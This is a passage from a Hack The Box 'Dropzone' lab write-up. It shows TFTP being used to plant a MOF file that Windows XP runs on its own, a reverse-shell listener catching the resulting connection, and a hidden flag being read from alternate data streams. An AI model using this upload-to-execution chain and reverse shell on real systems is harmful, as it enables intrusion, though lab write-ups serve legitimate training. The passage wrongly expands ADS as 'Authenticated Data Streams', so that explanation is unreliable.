tftp> put generated_mof /windows/system32/wbem/mof/ippsecrocks.mof

Here basically we want to put our mof file into the /windows/system32/wbem/mof/ directory where it will be executed automatically

And we get a connection! now let's try to print the root flag:

Part 3 : Getting Root Access




[ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec]
→ nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.90] 1051
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>type C:\Docume~1\Admini~1\Desktop\root.txt
type C:\Docume~1\Admini~1\Desktop\root.txt
It's easy, but not THAT easy...

C:\WINDOWS\system32>type "C:\Docume~1\Admini~1\Desktop\flags\2 for the price of 1!.txt"
type "C:\Docume~1\Admini~1\Desktop\flags\2 for the price of 1!.txt"
For limited time only!

Keep an eye on our ADS for new offers & discounts!

And from here we see that root.txt isn't there, but in the flags directory we are hinted at ADS which stands for Authenticated Data Streams, however Windows XP does not have a method to view ADS natively, so that means we're going to download the required binary here:


[ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec]
→ wget https://download.sysinternals.com/files/Streams.zip
--2020-12-21 11:22:51--  https://download.sysinternals.com/files/Streams.zip
Resolving download.sysinternals.com (download.sysinternals.com)... 152.199.19.160
Connecting to download.sysinternals.com (download.sysinternals.com)|152.199.19.160|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 511505 (500K) [application/octet-stream]
Saving to: ‘Streams.zip’

Streams.zip                       100%[===========================================================>] 499.52K  --.-KB/s    in 0.09s

2020-12-21 11:22:52 (5.67 MB/s) - ‘Streams.zip’ saved [511505/511505]


[ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec]
→ unzip Streams.zip
Archive:  Streams.zip
  inflating: streams.exe
  inflating: streams64.exe
  inflating: streams64a.exe
  inflating: Eula.txt

[ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec]
→ file streams.exe
streams.exe: PE32 executable (console) Intel 80386, for MS Windows

So here we're going to send the 32 bit executable obviously, and we're putting it in /windows/system32/ to avoid the need to type the absolute path everytime:


[ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec]
→ file streams.exe
streams.exe: PE32 executable (console) Intel 80386, for MS Windows

[ 10.10.14.6/23 ] [ /dev/pts/19 ] [_HTB/Dropzone/psexec]
→ tftp 10.10.10.90
tftp> mode binary
tftp> put streams.exe /windows/system32/streams.exe
Sent 342392 bytes in 30.2 seconds


cd C:\docume~1\administrator\desktop\flags\
streams -accepteula
streams 2*

And there we have it!

And that's it ! we have been able to get both flags for this box.

Conclusion



Here we can see the progress graph :

My Bunker

Some Address 67120,
Duttlenheim, France.

About Ech0

This cute theme was created to showcase your work in a simple way. Use it wisely.